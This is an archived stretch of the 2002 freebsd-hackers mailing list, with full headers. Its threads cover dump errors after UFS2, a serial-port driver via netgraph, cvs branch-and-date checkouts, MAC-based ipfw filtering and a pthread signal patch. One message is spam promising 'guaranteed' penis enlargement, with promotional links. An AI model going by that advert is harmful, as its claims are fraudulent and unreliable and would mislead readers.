In-Reply-To: ; from dirkx@covalent.net on Sat, Jun 29, 2002 at 01:09:26PM +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) on odin.ac.hmc.edu Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jun 29, 2002 at 01:09:26PM +0200, dirkx@covalent.net wrote: >=20 > Not sure if I should blame current - but see the errors below. I've tried > an fsck and an fsck -f from single user mode on each of the affected disks > (7 disk, mix of ide/scsi give this). >=20 > FSCK comes through clean. Prior to running -CURRENT the disks where > attached to a 2.0.8 machine; and the dump prior to the upgrade is good > (and restore can fully read it). >=20 > But right now a real dump to tape; or a dump to /dev/null give me the > errors below. I'm seeing similar problems. There was a couple week window between the daddr_t commits and UFS2 were things worked, but post UFS2 I get the following when I dump /var. -- Brooks [12:26pm] brooks@minya (/usr/src/sbin/dump): sudo -u operator /sbin/dump -f /dev/null -a /var DUMP: Date of this level 0 dump: Sat Jun 29 12:27:27 2002 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/ad0s2e (/var) to /dev/null DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 956071 tape blocks. DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] DUMP: DUMP: read error from /dev/ad0s2e: Invalid argument: [block -2]: = count=3D-1 DUMP: read error from /dev/ad0s2e: Invalid argument: [sector -2]: count= =3D-1 DUMP: read error from /dev/ad0s2e: Invalid argument: [sector -1]: count= =3D-1 master/slave protocol botched. DUMP: The ENTIRE dump is aborted. --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --mP3DRpeJDSE+ciuQ Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9HgqMXY6L6fI4GtQRAsPvAKDc2rk5eSG355Gn7/3rMF4cQ4cxfACgnxRr MjQufM5Ct/YdUrjiEFp3h+s= =4Iui -----END PGP SIGNATURE----- --mP3DRpeJDSE+ciuQ-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 12:40:16 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 18ABA37B405 for ; Sat, 29 Jun 2002 12:40:09 -0700 (PDT) Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id B7CE043E06 for ; Sat, 29 Jun 2002 12:40:08 -0700 (PDT) (envelope-from julian@elischer.org) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc51.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020629194008.VXMN9178.rwcrmhc51.attbi.com@InterJet.elischer.org>; Sat, 29 Jun 2002 19:40:08 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id MAA80952; Sat, 29 Jun 2002 12:32:32 -0700 (PDT) Date: Sat, 29 Jun 2002 12:32:31 -0700 (PDT) From: Julian Elischer To: Lev Serebryakov Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Driver for device on serial (COM) port In-Reply-To: <178176166781.20020629230514@serebryakov.spb.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG in -current, we have a new netgraph node ng_device that gives a device interface to netgraph. We also have the ng_tty node that attaches to a tty as a 'line disciplin' adding a node between these to do you own stuff would give you what you want. (the ng_device node shuld be Merged from current soon and you could even do it yourself.. it shouldn't be hard) in any case you probably want to attach to the tty as a line disciplin of some kind.. for example there is a graphics-tablet disciplin around somewhere (but I don't know where). On Sat, 29 Jun 2002, Lev Serebryakov wrote: > Hello, freebsd-hackers! How are you? > > I want to write driver for some device, which is attached to > standard serial (COM, RS-232) port. > I want to make this driver full-featured -- with device node in > /dev, ioctl()s and other. But I don't want to re-implement all this > serial tty stuff, that is implemented in `sys/isa/sio.c' > In case of LPT we have `ppbus'. What should I do in case of COM > port? I want to `take' com port (any calls to corresponding /dev/ttydX, > /dev/cuaaX and other should failed after this), monitor com port > state (know about new bytes, etc) and after that detach from com > port (when device is shutdowned and switched off), so com port could > be used for other deviced (i.e. modem) without rebooting. > It looks like userland program, but I really NEED full-featured > driver, which is controlled via device node... > > Lev Serebryakov > /-----------------------------------------------\ > | FIDONet: 2:5030/661.0 | > | E-Mail: lev@serebryakov.spb.ru | > | Page: http://lev.serebryakov.spb.ru/ | > | ICQ UIN: 3670018 | > | Phone: You know, if you have world nodelist | > \===============================================/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 12:53:53 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D10837B401 for ; Sat, 29 Jun 2002 12:53:41 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9BFA843E0A for ; Sat, 29 Jun 2002 12:53:39 -0700 (PDT) (envelope-from keramida@FreeBSD.org) Received: from hades.hell.gr (patr530-b200.otenet.gr [212.205.244.208]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g5TJrHXj018335; Sat, 29 Jun 2002 22:53:30 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.4/8.12.4) with ESMTP id g5TJrDVQ060906; Sat, 29 Jun 2002 22:53:13 +0300 (EEST) (envelope-from keramida@FreeBSD.org) Received: (from charon@localhost) by hades.hell.gr (8.12.4/8.12.4/Submit) id g5THINaM034633; Sat, 29 Jun 2002 20:18:23 +0300 (EEST) (envelope-from keramida@FreeBSD.org) Date: Sat, 29 Jun 2002 20:18:22 +0300 From: Giorgos Keramidas To: Makoto Matsushita Cc: scott@avantgo.com, hackers@FreeBSD.org Subject: Re: cvs(1) bug? with cvs update -rX -DY Message-ID: <20020629171822.GC5643@hades.hell.gr> References: <20020625132020U.matusita@jp.FreeBSD.org> <20020626022052V.matusita@jp.FreeBSD.org> <20020626024424P.matusita@jp.FreeBSD.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="zhXaljGHf11kAtnf" Content-Disposition: inline In-Reply-To: <20020626024424P.matusita@jp.FreeBSD.org> X-Operating-System: FreeBSD 5.0-CURRENT i386 X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 X-Phone: +30-944-116520 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --zhXaljGHf11kAtnf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On 2002-06-26 02:44 +0000, Makoto Matsushita wrote: > > scott> You could simply pop up a couple directories and checkout the > scott> given tag and date over your existing checkout. CVS is smart > scott> enough to notice that you've already got something checked out, > scott> and it will just update things. > > matusita> It would be fine to me. Thank you. > > Hmm, my cvs(1) doesn't allow me to checkout. > > % rm -rf src > % cvs -R -d /home/ncvs checkout -rRELENG_4 -D"Wed Jun 26 00:00:00 JST 2002" src/contrib/lukemftpd > cvs checkout: Updating src/contrib/lukemftpd > cvs checkout: Updating src/contrib/lukemftpd/src Nope. You have to do this in two steps. First you checkout the files from the proper branch with -r BRANCH_TAG. This makes the branch 'sticky' and subsequent 'update' operations assume the same branch, unless -A is specified. See the transcript shown below. % cd /tmp % cvs -R -d /home/ncvs co -r RELENG_4 -l src cvs checkout: Updating src U src/COPYRIGHT U src/Makefile U src/Makefile.inc1 U src/Makefile.upgrade U src/README U src/UPDATING % cd src % cvs -q up -APdl bin U bin/Makefile U bin/Makefile.inc % cd bin % cvs -q up -APd cat U cat/Makefile U cat/cat.1 U cat/cat.c % cd cat Let's see what the one before the last commit was to the cat.c file. % ident cat.c cat.c: $FreeBSD: src/bin/cat/cat.c,v 1.14.2.7 2002/04/24 13:36:45 asmodai Exp $ The 1.14.2.6 revision was created (as you can verify with `cvs log') shortly before -D '2002-04-24 13:34:00 UTC'. Let's update to that date, or at least attempt to: % cvs -q up -Pd -D '2002-04-24 13:34:00 UTC' cat.c U cat.c % cvs stat cat.c =================================================================== File: cat.c Status: Up-to-date Working revision: 1.21 Sat Jun 29 17:12:00 2002 Repository revision: 1.21 /home/ncvs/src/bin/cat/cat.c,v Sticky Tag: (none) Sticky Date: 2002.04.24.13.34.00 Sticky Options: (none) Nope. Not quite. This is the HEAD revision of the file. Let's see if both a branch AND a date can be specified: % cvs -q up -Pd -rRELENG_4 -D '2002-04-24 13:34:00 UTC' cat.c U cat.c % cvs stat cat.c =================================================================== File: cat.c Status: Needs Patch Working revision: 1.14.2.6 Sat Jun 29 17:12:15 2002 Repository revision: 1.14.2.7 /home/ncvs/src/bin/cat/cat.c,v Sticky Tag: RELENG_4 (branch: 1.14.2) Sticky Date: (none) Sticky Options: (none) Note that cat.c has a sticky tag of RELENG_4 but the working revision is identical to 1.14.2.6 and not 1.14.2.7 which is the latest revision in the RELENG_4 branch :-) So, the proper steps to get the files of a branch other than HEAD, in the revisions they had at a certain point in time would be: + Checkout using the branch as a sticky tag. + Update using both -D DATE and -r BRANCH_TAG. I hope this helps a bit... - Giorgos --zhXaljGHf11kAtnf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (FreeBSD) iD8DBQE9Hevd1g+UGjGGA7YRAlOzAKCAeNQuIiish0IWdQQK+Z68WolAqwCeKXwn Ygqrax9c2ipAW40hT7QwgaY= =09Wb -----END PGP SIGNATURE----- --zhXaljGHf11kAtnf-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 14:49:29 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8EC3337B400 for ; Sat, 29 Jun 2002 14:49:25 -0700 (PDT) Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2A67543E09 for ; Sat, 29 Jun 2002 14:49:25 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0102.cvx22-bradley.dialup.earthlink.net ([209.179.198.102] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17OQ5o-0007Bp-00; Sat, 29 Jun 2002 14:49:21 -0700 Message-ID: <3D1E2B38.A70658EA@mindspring.com> Date: Sat, 29 Jun 2002 14:48:40 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joao Carlos Cc: Luigi Rizzo , Nielsen , Ken Ebling , freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> <001f01c21f99$3c363cc0$1e6eb0c8@pchome> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joao Carlos wrote: > > several viruses do change the MAC address. The only real > > security is to have one user per port and filter the ports. > > Next step (but not as safe) is to wire down the arp table and only accept > > things that are in there (will be easy to implement in the > > new ipfw) > > I think it would be easier to deny all mac address in the ipfw rules except > by those that you know, right? Particularly, you should limit access to the antivirus server this way, so that if anyone does get a virus that does this, they are screwed for all time. NOT. Seriously, I'm wondering what "security restrictions" are so onerous that users are willing to change their IP addresses to get around them, and why they are there in the first place? I'm also wishing I had your posting in time to wave in the face of someone who once forced the implementation of a stupid access control model that required network identification of particular users, on the theory that users wouldn't do exactly what your users appear to be doing. Finally, I'll suggest that if you truly want to implement this thing, that the "correct" way to do it is probably to use the per machine NT Domain Controller information via hacking up the code from the SAMBA project, so that you can *ask* the NT domain controller for the credentials associated with an IP address, since this access control model is why NT Domaons were designed. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 15:53:52 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 57BDD37B400 for ; Sat, 29 Jun 2002 15:53:49 -0700 (PDT) Received: from mail.npubs.com (npubs.com [207.111.208.224]) by mx1.FreeBSD.org (Postfix) with ESMTP id F2DAD43E06 for ; Sat, 29 Jun 2002 15:53:48 -0700 (PDT) (envelope-from nielsen@memberwebs.com) Received: 8.12.2-(Neptune) From: "Nielsen" To: "Terry Lambert" , "Joao Carlos" Cc: "Luigi Rizzo" , "Ken Ebling" , References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> <001f01c21f99$3c363cc0$1e6eb0c8@pchome> <3D1E2B38.A70658EA@mindspring.com> Subject: Re: ipfw/dummynet suggestion MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Message-Id: <20020629225348.F2DAD43E06@mx1.FreeBSD.org> Date: Sat, 29 Jun 2002 15:53:48 -0700 (PDT) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Seriously, I'm wondering what "security restrictions" are so > onerous that users are willing to change their IP addresses to > get around them, and why they are there in the first place? Well in certain cases it's company policy that certain machines (ie: users) can't browse the web during certain hours. I didn't make the rules, just asked to implement them. > Finally, I'll suggest that if you truly want to implement this > thing, that the "correct" way to do it is probably to use the > per machine NT Domain Controller information via hacking up the > code from the SAMBA project, so that you can *ask* the NT domain > controller for the credentials associated with an IP address, > since this access control model is why NT Domaons were designed. True, but often the simplest, semi-reliable solution wins out, so it came down to machines and MAC addresses. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 16:10:14 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BE8AB37B400; Sat, 29 Jun 2002 16:09:57 -0700 (PDT) Received: from public.ls.xz.cn (public.ls.xz.cn [202.98.224.136]) by mx1.FreeBSD.org (Postfix) with SMTP id DD16143E13; Sat, 29 Jun 2002 16:09:44 -0700 (PDT) (envelope-from jacskr44@mail.ru) Received: from 216.77.61.89([213.219.67.70]) by public.ls.xz.cn(AIMC 2.9.5.2) with SMTP id jm1b3d1e96db; Sun, 30 Jun 2002 07:09:20 +0800 To: From: "kirbie" Subject: How to enlarge your penis 1-4"...guaranteed Date: Sat, 29 Jun 2002 19:10:24 -1600 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Message-Id: <20020629230944.DD16143E13@mx1.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Our sales aren't the only thing GROWING with this product! Increase penis size 1-4"...guaranteed!! For complete information on how to gain back your self esteem: http://www.freehostchina.com/site2/69chevelle/index.html +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AS Seen On TV!! *Want to attract that special woman? *Interested in a little extra edge in business affairs? *Ever wonder why some people seem to have it all? If you answered yes to any of the above questions, and would like to gain that unfair advantage to attract that special woman or women: http://www.freehostchina.com/Minshan/shezwan/index.html +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ To "optOut": mailto:nogirls4me@iafrica.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 16:12:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BC29537B400 for ; Sat, 29 Jun 2002 16:12:20 -0700 (PDT) Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id E3F6343E1D for ; Sat, 29 Jun 2002 16:12:19 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0102.cvx22-bradley.dialup.earthlink.net ([209.179.198.102] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17ORO3-0006v0-00; Sat, 29 Jun 2002 16:12:16 -0700 Message-ID: <3D1E3EA7.6F7CFC2E@mindspring.com> Date: Sat, 29 Jun 2002 16:11:35 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Nielsen Cc: Joao Carlos , Luigi Rizzo , Ken Ebling , freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> <001f01c21f99$3c363cc0$1e6eb0c8@pchome> <3D1E2B38.A70658EA@mindspring.com> <20020629225348.F2DAD43E06@mx1.FreeBSD.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Nielsen wrote: > > Seriously, I'm wondering what "security restrictions" are so > > onerous that users are willing to change their IP addresses to > > get around them, and why they are there in the first place? > > Well in certain cases it's company policy that certain machines (ie: users) > can't browse the web during certain hours. I didn't make the rules, just > asked to implement them. Yes, this is the same restriction that we were asked to implement in the InterJet, even though it meant the proxy software had to be non-transparent in order to grab credentials, and made life very complicated for all the engineers. I rather expect that you will find people fighting to step on the MAC address of any middle and upper management machine that spends any time at all in the "off" or "undocked" state. If your users want, I can give them some pointers to sites on how they can do this under Windows. 8-). Luigi is right: the only place you can really do this at this level is under Windows. The other alternative is to run a socks proxy, and make them use that to get out to the Internet, giveing internal users a non-routable IP address and/or simply blocking the entire netblock, minus a couple of static IP addresses (e.g. the gateway server/socks server). Unless you are in a country that charges for the sending of packets (like Japan), then you probably should not be trying to block employees from going to www.m-w.com in order to use a thesaurus. Note that there are a number of Windows products available (e.g. "CyberPatrol", etc.) that can do what you want from a single machine, as long as they are located somewhere on the wire out (they do it by forging failure packets back from the remote system the user attempts to contact). Maybe you just need to buy a copy of "NetNanny" or whatever? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 16:16:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DF24137B400 for ; Sat, 29 Jun 2002 16:16:50 -0700 (PDT) Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id 912B043E06 for ; Sat, 29 Jun 2002 16:16:50 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0102.cvx22-bradley.dialup.earthlink.net ([209.179.198.102] helo=mindspring.com) by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17ORSR-0003CJ-00; Sat, 29 Jun 2002 16:16:47 -0700 Message-ID: <3D1E3FB7.9F8B260F@mindspring.com> Date: Sat, 29 Jun 2002 16:16:07 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Nielsen , Joao Carlos , Luigi Rizzo , Ken Ebling , freebsd-hackers@freebsd.org Subject: Re: ipfw/dummynet suggestion References: <000801c21f1c$029cefe0$0201a8c0@Ken> <3D1D4EB3.9410011@mindspring.com> <20020629170251.65DDB43E13@mx1.FreeBSD.org> <20020629110237.A73787@iguana.icir.org> <001f01c21f99$3c363cc0$1e6eb0c8@pchome> <3D1E2B38.A70658EA@mindspring.com> <20020629225348.F2DAD43E06@mx1.FreeBSD.org> <3D1E3EA7.6F7CFC2E@mindspring.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Terry Lambert wrote: > Luigi is right: the only place you can really do this at this > level is under Windows. Don't know what the heck happened here... it's supposed to read "on a per switch port basis". I think I lost part of a paragraph... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 18:49: 6 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ACCEB37B401; Sat, 29 Jun 2002 18:49:03 -0700 (PDT) Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7643743E0A; Sat, 29 Jun 2002 18:49:02 -0700 (PDT) (envelope-from matusita@jp.FreeBSD.org) Received: from localhost (localhost [::1]) by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5U1n0n49459; Sun, 30 Jun 2002 10:49:00 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: hackers@FreeBSD.org In-Reply-To: <20020629171822.GC5643@hades.hell.gr> References: <20020626022052V.matusita@jp.FreeBSD.org> <20020626024424P.matusita@jp.FreeBSD.org> <20020629171822.GC5643@hades.hell.gr> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 14 From: Makoto Matsushita To: keramida@FreeBSD.org Subject: Re: cvs(1) bug? with cvs update -rX -DY Date: Sun, 30 Jun 2002 10:48:53 +0900 Message-Id: <20020630104853W.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG keramida> So, the proper steps to get the files of a branch other than HEAD, in keramida> the revisions they had at a certain point in time would be: keramida> + Checkout using the branch as a sticky tag. keramida> + Update using both -D DATE and -r BRANCH_TAG. No, it doesn't work as you said. The second "cvs update" will delete all lukemftpd files (see my previous email posted to hackers@). Would you please try same operations to src/contrib/lukemftpd? -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 19:29: 9 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7448C37B401 for ; Sat, 29 Jun 2002 19:29:06 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1925843E0A for ; Sat, 29 Jun 2002 19:29:05 -0700 (PDT) (envelope-from keramida@FreeBSD.org) Received: from hades.hell.gr (patr530-b229.otenet.gr [212.205.244.237]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g5U2SwwF009641; Sun, 30 Jun 2002 05:29:02 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.4/8.12.4) with ESMTP id g5U2Steh001067; Sun, 30 Jun 2002 05:28:56 +0300 (EEST) (envelope-from keramida@FreeBSD.org) Received: (from charon@localhost) by hades.hell.gr (8.12.4/8.12.4/Submit) id g5U2SrqH001066; Sun, 30 Jun 2002 05:28:53 +0300 (EEST) (envelope-from keramida@FreeBSD.org) Date: Sun, 30 Jun 2002 05:28:50 +0300 From: Giorgos Keramidas To: Makoto Matsushita Cc: hackers@FreeBSD.org Subject: Re: cvs(1) bug? with cvs update -rX -DY Message-ID: <20020630022849.GA731@hades.hell.gr> References: <20020626022052V.matusita@jp.FreeBSD.org> <20020626024424P.matusita@jp.FreeBSD.org> <20020629171822.GC5643@hades.hell.gr> <20020630104853W.matusita@jp.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020630104853W.matusita@jp.FreeBSD.org> X-Operating-System: FreeBSD 5.0-CURRENT i386 X-PGP-Fingerprint: C1EB 0653 DB8B A557 3829 00F9 D60F 941A 3186 03B6 X-Phone: +30-944-116520 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2002-06-30 10:48 +0000, Makoto Matsushita wrote: > > keramida> So, the proper steps to get the files of a branch other than HEAD, in > keramida> the revisions they had at a certain point in time would be: > > keramida> + Checkout using the branch as a sticky tag. > keramida> + Update using both -D DATE and -r BRANCH_TAG. > > No, it doesn't work as you said. The second "cvs update" will delete > all lukemftpd files (see my previous email posted to hackers@). > > Would you please try same operations to src/contrib/lukemftpd? Ah, hummm. Perhaps this is because no files have been taken off the vendor branch. I see that the latest revision of lukemftpd.h (for instance) is 1.1.1.2, which is still in the vendor branch and not in a separate RELENG_4 branch :-/ Hmmm, you're right. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Jun 29 21:21: 8 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E49737B401 for ; Sat, 29 Jun 2002 21:21:03 -0700 (PDT) Received: from posgate.acis.com.au (posgate.acis.com.au [203.14.230.14]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6608143E0A for ; Sat, 29 Jun 2002 21:21:00 -0700 (PDT) (envelope-from andymac@bullseye.apana.org.au) Received: from bullseye.apana.org.au (dialup-1.aaa.net.au [203.14.230.66]) by posgate.acis.com.au (8.11.6/8.11.6) with ESMTP id g5U4EJR10263; Sun, 30 Jun 2002 14:14:20 +1000 Received: from bullseye.apana.org.au (tenring.andymac.org [203.9.107.238]) by bullseye.apana.org.au (8.11.6/8.11.6) with ESMTP id g5TNEj359159; Sun, 30 Jun 2002 09:14:45 +1000 (EST) (envelope-from andymac@bullseye.apana.org.au) Date: Sun, 30 Jun 2002 09:09:32 +1100 (edt) From: Andrew MacIntyre To: Daniel Eischen Cc: Subject: Re: signals in apps built with -pthread In-Reply-To: <3D10FA39.878E8703@vigrid.com> Message-ID: X-X-Sender: andymac@bullseye.apana.org.au MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 19 Jun 2002, Daniel Eischen wrote: > Andrew MacIntyre wrote: {...} > > The attached C code is a simple example of a signal handling situation > > which works in the non-threaded interpreter, but fails in a threaded > > interpreter. {...} > Try the patch included at the bottom. {...} > Index: uthread/uthread_sigpending.c {...} > Index: uthread/uthread_sigsuspend.c This patch does indeed resolve the issue with the Python interpreter. Could I expect this patch to be applied to -stable before 4.7? BTW, my apologies for the extended delay in this response. Regards, Andrew. -- Andrew I 